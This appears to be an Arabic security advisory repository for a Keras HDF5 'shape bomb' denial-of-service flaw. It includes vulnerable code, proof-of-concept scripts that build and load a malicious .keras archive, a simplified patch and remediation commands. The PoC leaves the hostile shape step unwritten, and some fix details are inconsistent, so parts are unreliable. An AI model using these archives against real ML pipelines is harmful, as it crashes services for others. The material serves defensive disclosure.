CVE-2026-0897 — Google Keras: رفض الخدمة عبر قنبلة شكل HDF5 في تحميل الأوزان

نظرة عامة

الوصف

توجد ثغرة أمنية في رفض الخدمة في مكون تحميل أوزان HDF5 في Google Keras الإصدارات 3.0.0 إلى 3.13.0 على جميع المنصات. تحدث الثغرة بسبب غياب أي تحقق أو تقييد عند معالجة بيانات شكل مجموعة بيانات HDF5 المُعلنة داخل أرشيف .keras.

يسمح تنسيق HDF5 لمجموعات البيانات بتعريف شكلها (أبعاد الموتر) كبيانات وصفية. عندما يقوم Keras بتحميل أوزان النموذج من أرشيف .keras، فإنه يقرأ هذا الشكل المُعلن ويحاول تخصيص كتلة ذاكرة مقابلة قبل نقل أي بيانات. ونظرًا لأن Keras لا يقوم بإجراء فحص للحدود على الشكل المُعلن قبل التخصيص، يمكن للمهاجم إنشاء ملف model.weights.h5 يعلن عن شكل ضخم فلكيًا — على سبيل المثال (1000000, 1000000, 1000000)، مما يؤدي إلى محاولة Keras تخصيص ذاكرة بحجم بيتابايت. هذا يستنزف كل ذاكرة النظام المتاحة ويعطل مترجم Python.

لا يلزم أي استدلال أو تفاعل إضافي بعد تحميل النموذج. يتم تفعيل الهجوم بالكامل في وقت التحميل.

المكون المتأثر

تقع الثغرة تحديدًا في فئة KerasFileEditor، المسؤولة عن إلغاء تسلسل موترات أوزان النموذج من مخازن HDF5 المضمنة داخل أرشيفات .keras.

تفصيل متجه CVSS 4.0

الأثر

• رفض الخدمة الكامل — يتعطل مترجم Python وتنتهي العملية عند تحميل الأرشيف الخبيث
• استنزاف الذاكرة — يتم استهلاك ذاكرة الوصول العشوائي بسرعة في محاولة لتلبية التخصيص المُعلن، مما قد يؤثر على الخدمات الأخرى المشتركة في نفس البيئة
• تعطيل خطوط أنابيب التعلم الآلي — أي خط إنتاج أو بحث يقوم بتحميل أرشيفات نماذج .keras من مصادر غير موثوقة أو مقدمة من المستخدم يكون عرضة للخطر
• لا حاجة للمصادقة — يحتاج المهاجم فقط إلى أن يقوم الضحية بتحميل أرشيف خبيث؛ لا يتطلب الهجوم أي بيانات اعتماد أو وصول مسبق

سياقات النشر عالية المخاطر

التفاصيل الفنية

آلية الهجوم: قنبلة شكل HDF5

يخزن تنسيق ملف HDF5 البيانات الوصفية للموتر — بما في ذلك تعريفات الشكل — بشكل منفصل عن بايتات البيانات الفعلية. عندما يواجه KerasFileEditor._extract_weights_from_store() إدخال مجموعة بيانات، فإنه يقرأ الشكل المُعلن ويستدعي NumPy لتخصيص مصفوفة مسبقًا بالأبعاد المقابلة قبل قراءة أي بيانات من القرص.

نظرًا لأن الشكل هو بيانات وصفية، يمكن لملف HDF5 صغير جدًا أن يعلن عن شكل يتطلب بيتابايت من الذاكرة بينما يظل الملف نفسه بحجم كيلوبايت فقط. تجعل نسبة حجم الملف إلى حجم التخصيص هذا هجوم تضخيم فعال للغاية.

شكل مثل (1000000, 1000000, 1000000) بنوع بيانات float32 سيطلب حوالي 4000 بيتابايت من الذاكرة. سيقوم قاتل نفاد الذاكرة لنظام التشغيل أو موزع Python بتعطيل العملية على الفور تقريبًا.

مسار الكود الضعيف (قبل الإصلاح)

# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

غياب أي فحص على shape قبل استدعاء np.zeros() هو السبب الجذري.

إثبات المفهوم

هذه المعلومات مقدمة للأغراض التعليمية والدفاعية فقط. لا تختبر ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

إنشاء أرشيف .keras خبيث

# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

تفعيل رفض الخدمة

# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

النتيجة المتوقعة: يتوقف مترجم Python مع MemoryError أو يتم قتله بواسطة معالج نفاد الذاكرة لنظام التشغيل قبل اكتمال التحميل.

الأعراض المرئية:

• ارتفاع مفاجئ في الذاكرة إلى حد النظام أثناء تحميل النموذج
• تعطل مترجم Python أو MemoryError أثناء load_model() أو load_weights()
• أخطاء نفاد ذاكرة النظام مرتبطة بمعالجة ملفات HDF5
• ملفات HDF5 غير عادية ذات أحجام مجموعات بيانات كبيرة للغاية يمكن اكتشافها عبر h5dump

الإصلاح

تم حل الثغرة بواسطة الباحث (HyperPS / Sarvesh Patil) في PR #21880، الذي تم دمجه في keras-team:master في 29 ديسمبر 2025، وتمت مراجعته والموافقة عليه من قبل مشرف Keras hertschuh.

ما يطبقه الإصلاح

يقوم التصحيح بتعديل KerasFileEditor._extract_weights_from_store() في keras/src/saving/file_editor.py لإضافة الحمايات التالية قبل أي تخصيص ذاكرة:

• التحقق من الشكل — يرفض الأشكال التي تحتوي على أبعاد سالبة أو حاصل ضرب أبعاد يساوي صفرًا
• حد الرتبة — يرفض مجموعات البيانات التي يتجاوز رتبة موترها 64 (لا يوجد وزن نموذج صالح برتبة > 64)
• اكتشاف تجاوز البعد — يتحقق من قيم الأبعاد التي قد تتسبب في تجاوز الحساب الصحيح عند الضرب
• حد الذاكرة الأقصى — يفرض حدًا أقصى صارمًا قدره 1 جيجابايت لكل تخصيص مجموعة بيانات؛ أي مجموعة بيانات يتطلب شكلها المعلن أكثر من 1 جيجابايت يتم رفضها مع خطأ قبل محاولة التخصيص
• إصلاح مسار العودية — يصحح معالجة inner_path أثناء الاجتياز التكراري لمخزن HDF5

الإصلاح متوافق مع الإصدارات السابقة مع جميع ملفات أوزان Keras الصالحة.

التصحيح (توضيح مبسط)

# keras/src/saving/file_editor.py (post-fix logic, simplified)

MAX_BYTES = 1 * 1024 ** 3  # 1 GiB hard cap per dataset
MAX_RANK = 64

def _validate_hdf5_dataset_shape(shape, dtype):
    """Reject hostile HDF5 shape declarations before any allocation."""
    if len(shape) > MAX_RANK:
        raise ValueError(
            f"HDF5 dataset has rank {len(shape)}, which exceeds the "
            f"maximum permitted rank of {MAX_RANK}. This may indicate "
            "a malicious file."
        )
    for dim in shape:
        if dim < 0:
            raise ValueError(
                f"HDF5 dataset contains a negative dimension ({dim}). "
                "This may indicate a malicious file."
            )
    import math, numpy as np
    try:
        total_elements = math.prod(shape)
    except OverflowError:
        raise ValueError(
            "HDF5 dataset shape overflows integer arithmetic. "
            "This may indicate a malicious file."
        )
    itemsize = np.dtype(dtype).itemsize
    total_bytes = total_elements * itemsize
    if total_bytes > MAX_BYTES:
        raise ValueError(
            f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
            f"load, which exceeds the 1 GiB safety limit. This may indicate "
            "a malicious file."
        )

العلاج

الترقية عبر pip:

pip install --upgrade keras

التحقق من الإصدار المثبت:

python -c "import keras; print(keras.__version__)"

المسح المسبق لملف وزن HDF5 بحثًا عن أشكال مشبوهة:

h5dump --header model.weights.h5 | grep -i "DATASPACE"

الجدول الزمني

المراجع

إخلاء مسؤولية

يوثق هذا المستودع CVE-2026-0897 بدقة للأغراض التعليمية والبحثية والأمنية الدفاعية. يتم توفير كود إثبات المفهوم والتفاصيل الفنية لمساعدة المطورين ومهندسي الأمن ومسؤولي الأنظمة في فهم وتقييم ومعالجة هذه الثغرة.

أي استخدام لهذه المعلومات لإلحاق الضرر بالأنظمة أو الخدمات أو الأفراد دون إذن صريح هو غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام المعلومات الواردة هنا.

المساهمون @mohitf070304